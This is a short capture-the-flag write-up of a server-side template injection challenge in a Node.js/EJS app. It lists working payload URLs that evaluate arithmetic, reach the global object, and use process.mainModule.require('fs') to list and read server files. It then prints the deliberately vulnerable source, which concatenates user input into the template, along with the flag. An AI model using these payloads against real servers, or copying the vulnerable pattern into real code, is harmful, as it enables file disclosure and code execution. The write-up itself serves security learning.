it uses jade template engine.
and we can inject at "http://alieni.se:3003/render/inject_point".

http://alieni.se:3003/render/404 --> 404 is under construction...
http://alieni.se:3003/render/7\*7 --> 49 is under construction...
http://alieni.se:3003/render/root --> [object global] is under construction...
http://alieni.se:3003/render/root.process.mainModule.require('fs').readdirSync('.') --> Dockerfile,hellothere,hellothere-just-testing-again,index.js,node_modules,package.json,run_service.sh,templates is under construction...

we can get file list of current directory.

http://alieni.se:3003/render/root.process.mainModule.require('fs').readFileSync('index.js') --> we can read index.js, and it has flag.

```
var express = require('express');
var request = require("request");
var eval = require("eval");
var ejs = require('ejs');
var app = express();
var spawn = spawn = require('threads').spawn;

var bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({
extended: true
}));

app.listen(3003, function () {
console.log('A temple jest app listening on port 3003!')
});

app.get('/render/:name', function (req, res, next) {
console.log(req.originalUrl);
var thread = spawn(function(input, done) {
var ejs = require('ejs');
flag = "SCTF{m3m0ry_l34k_Schm3m0ry_l34k}";
var html = ejs.render("<%= "+input.name+" %> is under construction...<%# "+("---"+flag).repeat(20)+" %>", {});
done(html);
});

//Hack to avoid for(;;){} hanging the whole server...
setTimeout(function(){thread.kill();try{res.send("timeout");}catch(z){}}, 3000);
thread.send({"name": req.params.name, flag: ""}).on("message", function(html){res.send(html)});
});

app.get('/', function(req, res, next){
return ejs.renderFile('./templates/index.ejs', function(err, data){res.send(data);});
});

app.get('/package.json', function(req, res, next){
res.sendfile('./package.json');
});
```

this is index.js source, and flag is "SCTF{m3m0ry_l34k_Schm3m0ry_l34k}"